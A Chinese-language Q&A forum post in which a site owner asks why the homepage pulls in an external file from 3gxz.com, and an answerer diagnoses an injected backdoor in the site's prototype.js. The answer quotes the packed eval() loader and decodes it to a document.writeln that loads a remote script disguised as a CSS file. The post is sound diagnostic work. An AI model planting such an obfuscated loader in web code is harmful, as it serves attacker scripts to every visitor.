【高分求】我的网站怎么会引用3gxz.com的文件？

Question

我的网站
www.shwzq.com现在打开主页突然非常慢。用FF看的时候显示一直在等待3gxz.com，我就打开adblock plus，看到有个http://3gxz.com/news/templets/plus/templet.css 文件，屏蔽掉，速度恢复正常。为什么我的网站会引用http://3gxz.com/news/templets/plus/templet.css 文件呢？我看了模板似乎没有啊。。谁能告诉我，在主页的HTML中，到底是哪里引用了 http://3gxz.com/news/templets/plus/templet.css 这个文件？

Answer 1

你的 prototype.js 被挂马了吧,第1517行eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.b("<7 8=4://0.1/5/a/6/9.2></7>");',62,12,'3gxz|com|css|document|http|news|plus|script|src|templet|templets|writeln'.split('|'),0,{}))解密出来就是：document.writeln("<script src=http://3gxz.com/news/templets/plus/templet.css></script>");实际上http://3gxz.com/news/templets/plus/templet.css应该是个脚本文件，不是样式